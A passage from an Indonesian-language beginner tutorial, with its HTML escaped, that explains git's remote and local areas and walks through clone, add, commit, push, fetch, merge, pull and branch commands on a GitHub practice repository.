cara kerja &lt;code&gt;git&lt;/code&gt;?&lt;/p&gt;&lt;p&gt;Berikut adalah diagram alur kerja &lt;code&gt;git&lt;/code&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://bytebytego.com/guides/how-does-git-work/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://bytebytego.com/guides/how-does-git-work/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;git workflow&quot; loading=&quot;lazy&quot; width=&quot;1999&quot; height=&quot;1977&quot; src=&quot;/_astro/ss1.CYCEjIBb_ZjYaj5.webp&quot; /&gt;&lt;figcaption&gt;git workflow&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita bahas satu persatu…&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar, secara umum, wilayah &lt;code&gt;git&lt;/code&gt; dibagi menjadi 2: &lt;strong&gt;remote&lt;/strong&gt; &amp;amp; &lt;strong&gt;local&lt;/strong&gt;.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;“Remote repository” adalah server yang meng-&lt;em&gt;hosting&lt;/em&gt; atau menyimpan file-file proyek kita di &lt;em&gt;remote server&lt;/em&gt;, seperti {{&amp;lt; icon “github” &amp;gt;}} Github, {{&amp;lt; icon “gitlab” &amp;gt;}} Gitlab, dan {{&amp;lt; icon “bitbucket” &amp;gt;}} BitBucket.&lt;/li&gt;
&lt;li&gt;“Local computer” adalah komputer atau laptop yang kita gunakan untuk mengelola file-file tersebut sebelum disimpan ke &lt;em&gt;remote repository&lt;/em&gt;. Pada bagian ini, &lt;code&gt;git&lt;/code&gt; membagi 3 wilayah lagi, yaitu &lt;strong&gt;working directory&lt;/strong&gt;, &lt;strong&gt;staging area&lt;/strong&gt;, dan &lt;strong&gt;local repository&lt;/strong&gt; ini sendiri.&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;“Working directory” adalah area dimana kita dapat meng-&lt;em&gt;edit&lt;/em&gt; file kita.&lt;/li&gt;
&lt;li&gt;“Staging area” adalah sebuah area sementara (&lt;em&gt;temporary location&lt;/em&gt;) sebelum di-&lt;em&gt;commit&lt;/em&gt; &amp;amp; masih memungkinkan perubahan.&lt;/li&gt;
&lt;li&gt;“Local repository” adalah area penyimpanan permanen dari file-file yang telah di-&lt;em&gt;commit&lt;/em&gt;, juga sebagai area git untuk menyimpan riwayat perubahan proyek, dan area dimana file-file siap di-&lt;em&gt;push&lt;/em&gt; ke &lt;em&gt;remote server&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita juga melihat beberapa perintah &lt;code&gt;git&lt;/code&gt; yang ada dalam setiap proses pada gambar tersebut.&lt;br /&gt;
Berikut adalah perintah-perintah ketika kita&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git add&lt;/code&gt;: menyimpan file yang sudah selesai diedit ke “staging area”.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git commit&lt;/code&gt;: memindahkan file dari “staging area” ke “local repository”.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push&lt;/code&gt;: menyimpan file ke remote server, seperti Github.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Kemudian, ada 3 perintah lainnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git fetch&lt;/code&gt;: menarik perubahan dari “remote repository” ke “local repo”.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git merge&lt;/code&gt;: menggabungkan perubahan yang sudah ditarik ke file yang kita miliki di “working directory”.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git pull&lt;/code&gt;: gabungan dari kedua perintah di atas.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Dan ada 2 perintah lainnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git clone&lt;/code&gt;: meng-&lt;em&gt;clone&lt;/em&gt; mengambil suatu repo dari server hosting.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git checkout&lt;/code&gt;: pindah branch, pindah ke titik tertentu di history, etc.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita akan melihat implementasi dari &lt;code&gt;git&lt;/code&gt; sambil melihat workflow di atas secara langsung di bagian berikutnya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Practical Git on Github&lt;a href=&quot;#practical-git-on-github&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan coba lihat implementasi langsung dari &lt;em&gt;workflow&lt;/em&gt; dan perintah-perintah &lt;code&gt;git&lt;/code&gt; tersebut. Pada tutorial ini, saya akan menggunakan &lt;strong&gt;“Github”&lt;/strong&gt; sebagai server untuk meng-&lt;em&gt;hosting&lt;/em&gt; file-filenya. Jika kalian ingin mempraktekkannya juga, tentu saja bisa, dengan beberapa persyaratan berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Memiliki akun Github.&lt;/li&gt;
&lt;li&gt;Sudah mengaktifkan koneksi via SSH ke Github.&lt;/li&gt;
&lt;li&gt;Sudah membuat sebuah repository khusus untuk latihan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Ketiga syarat di atas adalah modal dasar untuk dapat mengikuti latihan atau toturial implementasi &lt;code&gt;git&lt;/code&gt; ini, sebab, ketiga hal tersebut tidak akan dibahas dalam artikel ini.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. &lt;code&gt;git clone&lt;/code&gt;&lt;a href=&quot;#1-git-clone&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, saya akan mempraktikkan perintah dasar &lt;code&gt;git&lt;/code&gt; tersebut, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git clone&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perhatikan bahwa saya sudah memiliki sebuah &lt;em&gt;repository&lt;/em&gt; di Github bernama “git-test”, yang hanya berisi sebuah file markdown bernama README.md.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git-test repo on Github&quot; loading=&quot;lazy&quot; width=&quot;1059&quot; height=&quot;656&quot; src=&quot;/_astro/ss2.dcXI7CUz_Z22JHC4.webp&quot; /&gt;&lt;figcaption&gt;git-test repo on Github&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Saya akan meng-&lt;em&gt;clone&lt;/em&gt; “remote repository” dari Github tersebut ke “local computer” saya, dengan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git@github.com:abwildan/git-test.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;git@github.com:abwildan/git-test.git&lt;/code&gt; adalah alamat repository “git-test” saya di github untuk keperluan akses via SSH (Secure Shell). Kalian bisa mendapatkan alamat repo kalian sendiri di bagian &lt;strong&gt;“code”&lt;/strong&gt; pada menu &lt;strong&gt;“SSH”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git access via SSH&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;467&quot; src=&quot;/_astro/ss3.i6yNn6fr_NA0LU.webp&quot; /&gt;&lt;figcaption&gt;git access via SSH&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita akan melihat, sekarang, &lt;em&gt;repository&lt;/em&gt; tersebut sudah berada di komputer kita.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git clone&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;318&quot; src=&quot;/_astro/ss4.CBtCAZoj_enmFb.webp&quot; /&gt;&lt;figcaption&gt;git clone&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar di atas, kita sudah memiliki &lt;em&gt;repository&lt;/em&gt; (folder/direktori) bernama “git-test” di dalam komputer, dengan isi file yang sama, yaitu “README.md”.&lt;/p&gt;&lt;p&gt;Jadi, jelas, bahwa fungsi perintah &lt;code&gt;git clone&lt;/code&gt; adalah untuk meng-&lt;code&gt;clone&lt;/code&gt; &lt;em&gt;repository&lt;/em&gt; dari remote server seperti Github ke komputer lokal kita. Atau bahasa umumnya kurang lebih sama dengan “men-&lt;em&gt;download&lt;/em&gt; folder dari Github ke komputer kita”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. &lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;, &lt;code&gt;git push&lt;/code&gt;&lt;a href=&quot;#2-git-add-git-commit-git-push&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita akan belajar 3 perintah berikutnya, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git add&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git commit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perhatikan alur perintah pada gambar berikut ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git add, git commit, git push&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;655&quot; src=&quot;/_astro/ss5.DOT3Hjqh_2kthju.webp&quot; /&gt;&lt;figcaption&gt;git add, git commit, git push&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;commit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;tambah file1.txt&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tempat-tempat seperti &lt;strong&gt;staging area&lt;/strong&gt;, &lt;strong&gt;local repository&lt;/strong&gt;, dan &lt;strong&gt;remote repository&lt;/strong&gt; mungkin memang tidak kasat mata, tapi dalam manajemen file oleh &lt;code&gt;git&lt;/code&gt;, hal tersebut ada di “balik layar”.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;git add .&lt;/code&gt;: menambahkan semua file / perubahan baru yang ada di working directory ke &lt;strong&gt;staging area&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git commit -m &quot;tambah file1.txt&quot;&lt;/code&gt;: memindahkan file ke &lt;strong&gt;local repository&lt;/strong&gt; dan memberikan pesan &lt;em&gt;commit&lt;/em&gt;-nya.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push&lt;/code&gt;: mendorong (meng-&lt;em&gt;upload&lt;/em&gt;) perubahan yang ada di local repo dan sudah di-&lt;em&gt;commit&lt;/em&gt; ke &lt;strong&gt;remote repository&lt;/strong&gt; di Github.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Seperti kita lihat pada gambar, perintah &lt;code&gt;git add&lt;/code&gt; digunakan untuk menambahkan file baru (“file1.txt”) ke &lt;strong&gt;staging area&lt;/strong&gt;, kemudian, perintah &lt;code&gt;git commit&lt;/code&gt; digunakan untuk memindahkan “file1.txt” dari staging area ke &lt;strong&gt;local repository&lt;/strong&gt;, dan perintah &lt;code&gt;git push&lt;/code&gt; digunakan untuk meng-&lt;em&gt;upload&lt;/em&gt;-nya ke &lt;strong&gt;remote repository&lt;/strong&gt; di remote server (Github).&lt;/p&gt;&lt;p&gt;Kita juga dapat memastikan bahwa “file1.txt” ada di &lt;em&gt;repository&lt;/em&gt; “git-test” di Github dengan melihatnya langsung.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;file1.txt on git-test Github repo&quot; loading=&quot;lazy&quot; width=&quot;737&quot; height=&quot;496&quot; src=&quot;/_astro/ss6.Cz6P6i77_Z4k3zV.webp&quot; /&gt;&lt;figcaption&gt;file1.txt on git-test Github repo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. &lt;code&gt;git fetch&lt;/code&gt;, &lt;code&gt;git merge&lt;/code&gt;, &lt;code&gt;git pull&lt;/code&gt;&lt;a href=&quot;#3-git-fetch-git-merge-git-pull&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Dua perintah berikutnya adalah:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git merge&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Seperti sudah dijelaskan pada bagian “konsep” sebelumnya, &lt;code&gt;git fetch&lt;/code&gt; digunakan untuk menarik perubahan dari remote repository (dalam konteks ini Github) ke &lt;strong&gt;local repository&lt;/strong&gt;, sementara &lt;code&gt;git merge&lt;/code&gt; digunakan untuk menggabungkan perubahan yang sudah di local repository ke &lt;strong&gt;working directory&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Perlu diperhatikan bahwa kita memerlukan &lt;code&gt;git merge&lt;/code&gt; agar perubahan-perubahan dari remote repository tersebut dapat kita edit, sebab perintah &lt;code&gt;git fetch&lt;/code&gt; hanya menarik perubahan-perubahannya saja dan menyimpannya ke local repository, dimana di sana adalah area penyimpanan permanen yang file-file atau perubahan-perubahannya sudah tidak dapat diubah lagi. Kita akan coba lihat dan buktikan di praktik di bawah.&lt;/p&gt;&lt;p&gt;Untuk membuat simulasi ini, anggap bahwa di remote repository, ada penambahan file baru bernama file2.txt, namun, di local computer, kita belum memiliki file ini sehingga kita perlu menariknya terlebih dahulu.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;file2.txt on Github&quot; loading=&quot;lazy&quot; width=&quot;755&quot; height=&quot;508&quot; src=&quot;/_astro/ss7.DGN4ZhaU_5nPue.webp&quot; /&gt;&lt;figcaption&gt;file2.txt on Github&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekarang, untuk menarik perubahannya, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;fetching file2.txt&quot; loading=&quot;lazy&quot; width=&quot;799&quot; height=&quot;491&quot; src=&quot;/_astro/ss8.ClcdCFT5_Z1hAOpw.webp&quot; /&gt;&lt;figcaption&gt;fetching file2.txt&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, “file2.txt” berhasil di-fetch, tapi masih belum muncul di working directory. Itu artinya, “file2.txt” belum di-merge sehingga belum bisa di-edit atau diubah-ubah. Gunakan perintah berikut untuk me-merge:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;merge&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;merging file2.txt&quot; loading=&quot;lazy&quot; width=&quot;766&quot; height=&quot;588&quot; src=&quot;/_astro/ss9.BizbAS-1_Z194iUJ.webp&quot; /&gt;&lt;figcaption&gt;merging file2.txt&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar, sekarang, “file2.txt” sudah berada di &lt;strong&gt;working directory&lt;/strong&gt; dan siap untuk di-edit atau dimodifikasi.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git pull&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;code&gt;git pull&lt;/code&gt; adalah gabungan antara &lt;code&gt;git fetch&lt;/code&gt; dan &lt;code&gt;git merge&lt;/code&gt;, sehingga jika kita ingin agar semua perubahan di remote repository yang ditarik ke local computer bisa langsung di-edit, kita dapat menggunakan perintah ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perhatikan gambar berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pulling file3.txt&quot; loading=&quot;lazy&quot; width=&quot;812&quot; height=&quot;522&quot; src=&quot;/_astro/ss10.ccwLVylo_12d227.webp&quot; /&gt;&lt;figcaption&gt;pulling file3.txt&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar di atas, perintah git pull mengambil perubahan (file3.txt) dari remote repository (Github) langsung ke working directory tanpa harus mampir di local repository terlebih dahulu, sehingga “file3.txt” dapat langsung di-edit.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. &lt;code&gt;git branch&lt;/code&gt;, &lt;code&gt;git checkout&lt;/code&gt;&lt;a href=&quot;#4-git-branch-git-checkout&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Selanjutnya, kita akan belajar 2 perintah &lt;code&gt;git&lt;/code&gt; lainnya, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git branch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git checkout&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;code&gt;git checkout&lt;/code&gt; seperti yang sudah dideskripsikan di bagian “konsep” di atas, biasanya digunakan untuk berganti branch. Oleh karena itu, saya menyandingkannya dengan perintah &lt;code&gt;git branch&lt;/code&gt; yang digunakan untuk melihat branch yang ada. &lt;code&gt;git branch&lt;/code&gt; memang belum di bahas pada bagian “konsep” sebelumnya, tapi tidak mengapa saya bahas di sini, karena memang terkait dengan penggunaan &lt;code&gt;git checkout&lt;/code&gt;…&lt;/p&gt;&lt;p&gt;Untuk melihat branch apa saja yang tersedia, ada 3 perintah &lt;code&gt;git branch&lt;/code&gt; yang dapat digunakan, yaitu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;git branch -l&lt;/code&gt;: digunakan untuk melihat branch yang ada di local computer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -r&lt;/code&gt;: digunakan untuk melihat branch yang ada di remote repository.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -a&lt;/code&gt;: digunakan untuk melihat semua branch, baik di local computer maupun di remote repository.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git branch&quot; loading=&quot;lazy&quot; width=&quot;310&quot; height=&quot;370&quot; src=&quot;/_astro/ss11.B347DrVp_Z22Qkhs.webp&quot; /&gt;&lt;figcaption&gt;git branch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saat ini, di local computer saya, hanya ada 1 branch, yaitu branch “main” dan ada 2 branch di remote repository.&lt;/p&gt;&lt;p&gt;Jika kita ingin membuat branch baru di local computer, kita dapat menggunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, untuk pindah ke branch yang baru:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-branch&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau dengan &lt;code&gt;git checkout&lt;/code&gt; yang lebih cepat karena setelah membuatkan branch baru, kita juga otomatis akan berpindah ke branch yang baru tersebut, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 